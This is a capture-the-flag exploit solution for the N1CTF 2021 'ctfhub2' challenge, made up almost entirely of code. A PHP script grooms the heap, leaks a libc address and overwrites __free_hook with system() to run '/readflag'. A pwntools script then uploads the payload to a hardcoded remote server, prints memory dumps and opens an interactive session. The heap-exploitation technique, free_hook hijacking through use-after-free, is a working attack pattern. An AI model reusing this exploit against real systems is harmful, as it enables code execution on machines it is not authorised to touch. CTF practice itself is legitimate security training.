N1CTF 2021 - ctfhub2

hax.php

<?php
    $LOCAL = @$_SERVER["PWD"] !== NULL;
    $KEY = 0;

    $bigly = [];
    for ($i = 0; $i < 16; $i++) {
        array_push($bigly, creatbuf(0x1a0));
    }

    for ($i = 2; $i < 16; $i++) {
        releasestr($bigly[$i]);
    }

    $fuck = creatbuf(0x11);

    $x = [];
    array_push($x, 
        creatbuf(0x11), 
        creatbuf(0x11), 
        creatbuf(0x11), 
        creatbuf(0x11)
    );


    $buf1 = creatbuf(4800);
    $buf2 = creatbuf(4800);
    $guard = creatbuf(0x1);

    function read($chunk, $idx) {
        global $buf1, $buf2, $KEY;
        assert($idx < 300);
        encrypt_impl($chunk,$idx + 1,$KEY,$buf1);
        decrypt_impl($buf1,$idx + 1,$KEY,$buf2);
        return $buf2[$idx];
    }

    function write($chunk, $idx, $val) {
        global $buf1, $buf2, $KEY;
        assert($idx < 300);
        encrypt_impl($chunk,$idx + 1,$KEY,$buf1);
        decrypt_impl($buf1,$idx + 1,$KEY,$buf2);
        $buf2[$idx] = $val;
        encrypt_impl($buf2,$idx + 1,$KEY,$buf1);
        decrypt_impl($buf1,$idx + 1,$KEY,$chunk);
    }

    for ($i = 0; $i < 4; $i++) {
        $x[$i][0] = 0x333333333333;
        $x[$i][1] = 0x333333333333;
        $x[$i][2] = 0x333333333333;
    }

    // read($x[0], 299);
    // echo "START\n";
    // for ($i = 0; $i < 300; $i++) {
    //     echo $buf2[$i] . "\n";
    // }
    // echo "END\n";

    releasestr($x[1]);
    releasestr($x[2]);

    // read($x[0], 299);
    // echo "START\n";
    // for ($i = 0; $i < 300; $i++) {
    //     echo $buf2[$i] . "\n";
    // }
    // echo "END\n";

    read($bigly[1], 77);
    echo "START\n";
    echo $buf2[77] . "\n";
    echo "END\n";

    $libc = $buf2[77] - 0x1ebbe0;
    $free_hook = $libc + 0x1eeb28;
    $system = $libc + 0x55410;
    echo "LIBC " . $libc . "\n";

    write($x[0], 220, $free_hook);

    $aaa = creatbuf(0x11);
    $aaa[0] = 7020098500480561711; // /readflag
    $aaa[1] = 103;

    $ccc = creatbuf(0x11);
    $ccc[0] = $system;

    // read($ccc, 299);
    // echo "START\n";
    // for ($i = 0; $i < 300; $i++) {
    //     echo $buf2[$i] . "\n";
    // }
    // echo "END\n";
    echo "DONE\n";

    releasestr($aaa);

    // while(1);
?>

xpl.py

from pwn import *
from subprocess import check_output
import ctypes

r = remote("43.129.202.109", 47010)

buf = r.recvline(0)
suffix, target = re.findall(r'sha256\(XXXX\+(\w+)\) == (\w+)', buf.decode())[0]
r.sendlineafter(b">\n", check_output(["./pow", suffix, target]).strip())

with open("hax.php", "rb") as f:
    r.sendlineafter(b"> \n", b64e(f.read()).encode())
r.recvline(0)

while True:
    command = r.recvline(0)
    if command == b"DONE":
        break
    elif command == b"START":
        dump = []
        while True:
            buf = r.recvline(0)
            if buf == b"END":
                break
            b = ctypes.c_uint64(int(buf)).value
            dump.append(b)
        for i in range(0, len(dump), 2):
            if i + 1 == len(dump):
                print(f"{i * 8:03X} 0x{dump[i]:016X}")
            else:
                print(f"{i * 8:03X} 0x{dump[i]:016X} 0x{dump[i+1]:016X}")
        print(" ================================= ")
    else:
        print(command.decode())
r.interactive()